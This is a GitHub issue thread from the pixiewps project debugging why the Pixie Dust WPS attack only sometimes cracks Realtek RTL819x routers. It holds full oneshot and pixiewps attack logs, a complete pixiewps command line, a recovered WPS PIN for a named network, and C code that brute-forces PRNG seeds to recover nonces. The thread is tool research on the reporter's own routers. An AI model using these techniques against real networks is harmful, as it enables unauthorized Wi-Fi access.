-
Notifications
You must be signed in to change notification settings - Fork 310
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
RTL819x
pin is only cracked when e-nonce=es1=es2
#110
Comments
you're taking the value from the router or from your pc ? routers almost never have a correct clock, but you can derive its current time from the 64bit uptime timestamp in beacon packets (see reaver commit cc550c473b80ff66cbb86ce4c2d7b42b4f7a06b9) plus the routers hardcoded reset date (for example 01.01.2010). we use this in pixiewrapper.c combined with reaver's new unadvertised option -u (commit a7b390853bb87639d86bb2d1eee16d8f5646c065)
is the router so slow that it usually takes longer than a fraction of a second to calculate these ? |
Realtek... considering they haven't made a chip since 802.11n was new, probably yes, it is that slow. |
I'm taking the epoch value from my PC. This is probably why I couldn't generate a matching hash with the yura code.
Yes. I tested this with two
Since I couldn't get pixiewps nor reaver to work. I was collecting the data myself with |
just let the yura code print all possible combinations together with the corresponding epoch and pipe the output into grep, and look for the values you have.
i'd do it with wireshark
yes, check the python code in my oneshot repo to see how you can get the values |
Okay things just got way harder. Turns out the router clock ticks at an irregular speed. These timestamps are from 4 subsequent broadcast messages in wireshark, sent from my router within about 10 seconds The timestamp goes back to 0 on reboot and the router starts incrementing the epoch with randomly generated large numbers as it starts. Considering we have to brute force each nonce with 10k pins, this will take way longer. We need some kind of automation to get the timestamps of the router when the handshake starts and ends to reduce the whole bruteforce time as much as possible. |
the timestamp isn't the epoch. you gotta divide it by some value, the code to do it is in pixiewrapper.c, then add it to the router's startdate, as i already explained +static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp) {
+#define TSTP_SEC 1000000ULL /* 1 MHz clock -> 1 million ticks/sec */
+#define TSTP_MIN (TSTP_SEC * 60ULL)
+#define TSTP_HOUR (TSTP_MIN * 60ULL)
+#define TSTP_DAY (TSTP_HOUR * 24ULL)
+ unsigned days = timestamp / TSTP_DAY;
+ struct tm tms = {
+ .tm_mday = 1,
+ .tm_mon = *month - 1,
+ .tm_year = *year - 1900
+ };
+ time_t start = mktime(&tms);
+ unsigned secs = days * (24*60*60);
+ start += secs;
+ struct tm *result = gmtime(&start);
+ *year = result->tm_year + 1900;
+ *month = result->tm_mon + 1;
+} |
Sorry I lost you there. How do you obtain a router's start date? And then how do you go about finding the timestamp that was used to generate the es1/es2? Btw this is how I'm running the function#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>
#include <getopt.h>
#include <pthread.h>
#include <limits.h>
#include <assert.h>
static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp);
int main(int argc, char* argv[]) {
int year = 2023, month = 4;
//uint64_t timestamp = 7153766809;
uint64_t timestamp = atoi(argv[1]);
add_beacon_timestamp(&year, &month, timestamp);
return 0;
}
static void add_beacon_timestamp(int *year, int *month, uint64_t timestamp) {
#define TSTP_SEC 1000000ULL /* 1 MHz clock -> 1 million ticks/sec */
#define TSTP_MIN (TSTP_SEC * 60ULL)
#define TSTP_HOUR (TSTP_MIN * 60ULL)
#define TSTP_DAY (TSTP_HOUR * 24ULL)
unsigned days = timestamp / TSTP_DAY;
struct tm tms = {
.tm_mday = 1,
.tm_mon = *month - 1,
.tm_year = *year - 1900
};
time_t start = mktime(&tms);
unsigned secs = days * (24*60*60);
start += secs;
struct tm *result = gmtime(&start);
*year = result->tm_year + 1900;
*month = result->tm_mon + 1;
printf("%d", start);
} |
also print year and month after add_beacon_timestamp
by rebooting/reseting it and then looking into its web interface
by checking every possible value. that's why i recommended you to write a program that uses yura code to print each possible value for a 32bit time_t unix epoch and then grep for the values you're interested in. do you have one or more sets of values that router used for the WPS tx ? |
Ugh. I'm failing to wrap my head around this. So to calculate the Did I get it right? |
only when you know the router's reset date, which you pass as initial value to the function (month/year). the func then calculates the uptime in seconds and adds it to the values in month/year, that's why i said you should print them afterwards. if you can give me an enonce with the timestamp of the last beacon before it, i can take a look. there's also a channel |
Welp. How do you know a router's reset date that you don't own?
Am I printing correctly? ...
start += secs;
struct tm *result = gmtime(&start);
*year = result->tm_year + 1900;
*month = result->tm_mon + 1;
printf("%d\n", start);
printf("month %d\n", &month);
printf("year %d\n", &year);
}
Wireshark doesn't record anything when wpa_supplicant is running. How do I make it work? |
no. replace
use monitor mode and reaver, or oneshot once in verbose mode, then paste the output here. it prints e-nonce, es1, etc. also provide a beacon timestamp that was shortly before using oneshot. |
Beacon timestamp a second before the handshake: Data from oneshot: [*] Associating with AP…
[+] Associated with E8:65:D4:16:CE:20 (ESSID: Tenda_16)
[*] Sending EAPOL Start…
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[P] E-Nonce: 173EA68A6C34BC4B7FD6EF5A770C6FC3
[*] Sending WPS Message M2…
[P] PKR: 17B0C7FC3601A65D50655BA397A204521C1D823C6DC637E82659A13B4D883877E4C3C01BA285006E04A29DCFD8E0AE5DBF68B816F29AFCFC97538A13114BCD7CD5EE52EBB230BA4BD7FBF7F4EBDAA21DAF802D1E5F8B7EF3D91F5A1C67368F80A553746DFF84A3A834882CB3068FD7126852B3C377DB6FE66746CBEE8D1694A43B81D4142AE39EC36EF7E850D831A6787C4979D21A9F3A6D6632FF48B1AFFE0E427AC6B638821AEB22BCF6092A838A9E6BC15C04A481C4181550761CE043FE91
[P] PKE: D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B
[P] AuthKey: C1CD839803DC709B7CD8DD2135C8B3DB42763CF59B31ED69EE923DF9A1A5E83F
[*] Received WPS Message M3
[P] E-Hash1: 45A0E8A5E32C7FE7E4FA4324B5D76A6DFD9F308C85A30B88A11910B95CC51E1A
[P] E-Hash2: 23998D2B07B177E1DBA20F634B48D57072A1C3449DA0FB80F76DD2E0C98BD908
[*] Sending WPS Message M4…
[*] Received WSC NACK
[-] Error: wrong PIN code
|
thanks. i used your data as input for pixiewps, and set a breakpoint on pixiewps.c:116, but there's no unix epoch which would create your enonce with the usual rtl algorithm. only 2 epochs at all create the suiting first 4 bytes of the enonce, which would be 390942466 and 2397812789. so it seems to me that router model uses a different algorithm. since you said in the title of this issue " RTL819x pin is only cracked when e-nonce=es1=es2", did you actually happen to crack the pin once ? |
I accidentally closed the issue
I was afraid it's the case initially
About 10 times over last 6 days. I have the pixiewps output and handshake data saved for one as well. The other router is slower. That was only cracked once in last 15 days. |
got some data (for example full pixiewps command line) for those times it worked ? since you already got the pins, you should be able to just run oneshot on them with verbose and pixiemode switch until pixiewps succeeds without fearing to be locked out. |
There you go oneshot output[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[+] Associated with E8:65:D4:16:8D:40 (ESSID: Snowscan)
[*] Sending EAPOL Start…
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[P] E-Nonce: 732C8688324E61EF6D2E3BC92E801FF9
[*] Sending WPS Message M2…
[P] PKR: 4E6723AFE271E8E5396B1787F004B3A6F0FCDA294EA43F3E6F6A588AF50CD13536E89B9DE4669ED4992DC34B9ECAA913FFACE7DAAF392ECC1182584402467339659E5323AAD713A1D87C4673B90B0A6331C02CDE52D104DE60AFD0EACEDB00B4200AC85B6AB86E77BC4CAFB7945F766792C64FB1EE02542500F7E7507E581E6A44C60025F538C6E3240C9B2BC110187310A490D36D1C327246116338C27009A839826F68357EF2A8C526F38E0A353B3187D948AB8513EF36F38B6183391AE5C4
[P] PKE: D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B
[P] AuthKey: 6C43DAD2F5632954DDA57D4C44961ED8D5F8959A34A57BB8B5595DB76FA64B24
[*] Received WPS Message M3
[P] E-Hash1: F649FA3776E53B50E649C5AEDE73B2D554E425BA43A5A217985695BCC9234408
[P] E-Hash2: 0086454B5FB7AFC54195E4F65E2ED1218DE187A3ACCF2671555DB71C751B9DB1
[*] Sending WPS Message M4…
[*] Received WSC NACK
[-] Error: wrong PIN code
[*] Running Pixiewps…
Pixiewps 1.4
[?] Mode: 3 (RTL819x)
[*] Seed N1: -
[*] Seed ES1: -
[*] Seed ES2: -
[*] PSK1: 8113aa826ded95c2952a89240ab5b0ae
[*] PSK2: 2f53a675985d7125dbedc14c6738706a
[*] ES1: 732c8688324e61ef6d2e3bc92e801ff9
[*] ES2: 732c8688324e61ef6d2e3bc92e801ff9
[+] WPS pin: 92808805
[*] Time taken: 0 s 26 ms
Of another time: pixiewps -r B7B1F41FFF87E1633DD02AF754B9D90B09281C5670D988043E79D7A21870630B302E2C9A9B223A1119CFF91A1CA2F0056DE828C2FA50792B78FCC5451367BB430FE7051C245B266836320852CA01772F1F9B881AB6923425346F6EDC4B5C9D49A0F62746D59AE9DDC89940B6EB8DD0BB3FCFBFECA39FF00BDCEE9CC0D3522E3080053B7CE1D0868B232DCF498C623CBC2701F39064D5430C8D7878D9B8CA33C5B4EE5DEB0FB84B82B15A9A19C36BA6A7282E878D55FCC02A1B35E1A6A329FC00 -e D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B -s B20F953FF3FF4A282D12EE2617CCC2837C84E89202DD6E294ED794B537E668F0 -z 2E0EB9B1D0CB9DB1F862E2D4528E8936151427725312F947F14F37EDE38982BA -a 16D5C5F8DDE62FE0FE5AB4C281BB65A3ADE73F495C44479371D3292BD458C447 -n 115D35F90659961A1CDB12A577EABAEC
Pixiewps 1.4
[?] Mode: 3 (RTL819x)
[*] Seed N1: -
[*] Seed ES1: -
[*] Seed ES2: -
[*] PSK1: 199f1b3f8d64d50e44b2c1489441f19c
[*] PSK2: 070285fe69f62b03b777242c992f4d14
[*] ES1: 115d35f90659961a1cdb12a577eabaec
[*] ES2: 115d35f90659961a1cdb12a577eabaec
[+] WPS pin: 92808805
[*] Time taken: 0 s 42 ms
|
Could it be that the yura code is failing and the old random generator works? |
Are we hopeless with this? |
i didn't have time over the weekend to investigate. are you certain this is the same router ? in the "not working" case the essid was Tenda_14. |
Different BSSID too |
I already mentioned twice before I have two routers with the same chip
No. It is the faster one |
and here is an example of pixiewps failing to crack pixiewps[*] Running wpa_supplicant…
[*] Trying PIN '12345670'…
[*] Scanning…
[*] Authenticating…
[+] Authenticated
[*] Associating with AP…
[+] Associated with E8:65:D4:16:8D:40 (ESSID: Snowscan)
[*] Sending EAPOL Start…
[*] Received Identity Request
[*] Sending Identity Response…
[*] Received WPS Message M1
[P] E-Nonce: 687281DB2CAB4EE1335047811FBEBB6C
[*] Sending WPS Message M2…
[P] PKR: 0FA541C8F4119BADFF378CBE634C23E78D1B0B06A44D6A1D1506D1F971A58C68C0D65A165AEEB9E738204A0AA890E686E43220DAA583E18FB87FC4BA14FFA3F324CAAB8460773B97A0613400EAE9149959D5020A69F0187F4D980F6A6D111D68260B3B3CFDBD75BB32DB2BA7571AB650679997754506C726C2A0B273DF1502E7DD2B4610D400772C11E648F8E77B36CF2E2FD1579F0DE150396E1687FFCB2DDFCD0570116A16D9D487551AF401BA6363D5551FF204EF5AE4E10344983E11EE17
[P] PKE: D0141B15656E96B85FCEAD2E8E76330D2B1AC1576BB026E7A328C0E1BAF8CF91664371174C08EE12EC92B0519C54879F21255BE5A8770E1FA1880470EF423C90E34D7847A6FCB4924563D1AF1DB0C481EAD9852C519BF1DD429C163951CF69181B132AEA2A3684CAF35BC54ACA1B20C88BB3B7339FF7D56E09139D77F0AC58079097938251DBBE75E86715CC6B7C0CA945FA8DD8D661BEB73B414032798DADEE32B5DD61BF105F18D89217760B75C5D966A5A490472CEBA9E3B4224F3D89FB2B
[P] AuthKey: 1CCEAB451F266C504FCDA4D31051CCA59EB5A7DA178BCF42E00C854C7EC999BE
[*] Received WPS Message M3
[P] E-Hash1: 36E0FE81244D30E4973300CA47ADBD3968FE0D584A12496727973D64B2DE5A18
[P] E-Hash2: 966F853177D2AEE96DB3385A8AD24999FFECB749FFB0FDA356222187CD4297E9
[*] Sending WPS Message M4…
[*] Received WSC NACK
[-] Error: wrong PIN code
[*] Running Pixiewps…
Pixiewps 1.4
[-] WPS pin not found!
[*] Time taken: 0 s 24 ms
[!] The AP /might be/ vulnerable. Try again with --force or with another (newer) set of data.
|
thanks. by having the failing and working data from same router it's much more likely to figure out what happens. my gut feeling is that the router calls srand(time(0)) whenever it needs random bytes, but i will invegistate in depth soon. |
btw oneshot has a command line option to always show the pixiewps command executed, which would have been helpful so i dont have to piece it together by hand. |
ok, so after some thorough investigation it would appear that the PRNG used by these devices isn't the glibc one (i tried pre-yura variants too, no dice). since these devices are so slow i assume they're really old, so our best bet is to search git repos of uclibc and glibc for other PRNG variants that were in use before the current PRNG was introduced. |
Irrelevant, but what's funny is the static private/public enrollee key pair is still the same. |
btw, in case you can get wash running, it would be helpful to see wash -j json output for both routers, there are usually clues like which year those devices were released. |
There you go wash -j -sTenda_16: {"bssid" : "E8:65:D4:16:CE:20", "essid" : "Tenda_16", "channel" : 7, "rssi" : -58, "vendor_oui" : "00E04C", "wps_version" : 32, "wps_state" : 2, "wps_locked" : 2, "wps_manufacturer" : "Realtek Semiconductor Corp.", "wps_model_name" : "RTL8xxx", "wps_model_number" : "EV-2009-02-06", "wps_device_name" : "Tenda Wireless AP Ecos", "wps_serial" : "123456789012347", "wps_uuid" : "63041253101920061228aabbccddeeff", "wps_response_type" : "03", "wps_primary_device_type" : "00060050f2040001", "wps_config_methods" : "2688", "dummy": 0} Snowscan: {"bssid" : "E8:65:D4:16:8D:40", "essid" : "Snowscan", "channel" : 3, "rssi" : -11, "vendor_oui" : "00E04C", "wps_version" : 32, "wps_state" : 2, "wps_locked" : 2, "wps_manufacturer" : "Realtek Semiconductor Corp.", "wps_model_name" : "RTL8xxx", "wps_model_number" : "EV-2009-02-06", "wps_device_name" : "Tenda Wireless AP Ecos", "wps_serial" : "123456789012347", "wps_uuid" : "63041253101920061228aabbccddeeff", "wps_response_type" : "03", "wps_primary_device_type" : "00060050f2040001", "wps_config_methods" : "2688", "dummy": 0} I bought the |
As you already know I suck at C. So unfortunately can't help you there. Is this doable tho? |
i checked out both glibc and uclibc git repos and went through the history. glibc changed their PRNG once in 1995 to the current version. since your router appears to have been produced in 2009, it is very unlikely it used the old version. #ifdef ZX81_RNG
/*
* This is my favorite tiny RNG, If you had a ZX81 you may recognise it :-)
* (RdeBath)
*/
#define MAXINT (((unsigned)-1)>>1)
static unsigned int sseed = 0;
int uclibc_rand(void)
{
return (sseed = (((sseed + 1L) * 75L) % 65537L) - 1) & MAXINT;
}
void uclibc_srand(unsigned seed)
{
sseed = seed;
}
#else
/*
* This generator is a combination of three linear congruential generators
* with periods or 2^15-405, 2^15-1041 and 2^15-1111. It has a period that
* is the product of these three numbers.
*/
static int seed1 = 1;
static int seed2 = 1;
static int seed3 = 1;
#define CRANK(a,b,c,m,s) \
q = s/a; \
s = b*(s-a*q) - c*q; \
if(s<0) s+=m;
int uclibc_rand()
{
int q;
CRANK(206, 157, 31, 32363, seed1);
CRANK(217, 146, 45, 31727, seed2);
CRANK(222, 142, 133, 31657, seed3);
return seed1 ^ seed2 ^ seed3;
}
#define UCLIBC_RAND_MAX 0x7fffffff
void uclibc_srand(unsigned int seed)
{
seed &= UCLIBC_RAND_MAX;
seed1 = seed % 32362 + 1;
seed2 = seed % 31726 + 1;
seed3 = seed % 31656 + 1;
}
#endif
#ifdef TEST
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
static __inline uint32_t end_bswap32(uint32_t __x)
{
return (__x>>24) | (__x>>8&0xff00) | (__x<<8&0xff0000) | (__x<<24);
}
static uint32_t end_nop32(uint32_t __x) { return __x; }
int main() {
static const unsigned want[] =
{0x687281db, 0x2cab4ee1, 0x33504781, 0x1fbebb6c};
unsigned i, j;
for(i= 0; i < 0xffffffff; ++i) {
uclibc_srand(i);
for(j=0;j<4;++j)
if(end_nop32(uclibc_rand()) != want[j]) break;
else __asm__("int3");
if(j==4) printf("%u\n", i);
}
}
#endif |
Sigh. Would sending more enonce samples help or is it a dead end anyway? |
that could help. a possibility that i was pondering is that they use the glibc version before it was made threadsafe, and their entire wifi management app is one huge monolithic multithreaded monster, so other wifi-related tasks (such as sending beacons or handling connected clients) would access the same global PRNG state, in which case it would be possible that the wps code does srand(time(0)) and other threads call rand() during or even before the nonce generation. |
Is there any progress made on this? |
I'm running this with the required flags and sometimes with the
--force
flag against my home router. I've been noticingpixiewps
is only able to crack the WPS pin when the e-nonce and esX are generated at the same second. For this chip, Isn't it supposed to decrement the epoch and try to calculate thee-nonce
with the--force
flag?I suck at C but still tried to run the yura random generator locally with the epoch values of the handshake time. Surprisingly I never got a value that matches the generated e-nonce, which is not supposed to happen cause the epoch is used at some point at the handshake time to generate this nonce. Could it be that the random generator functions have a bug or got changed in the firmware?
The text was updated successfully, but these errors were encountered: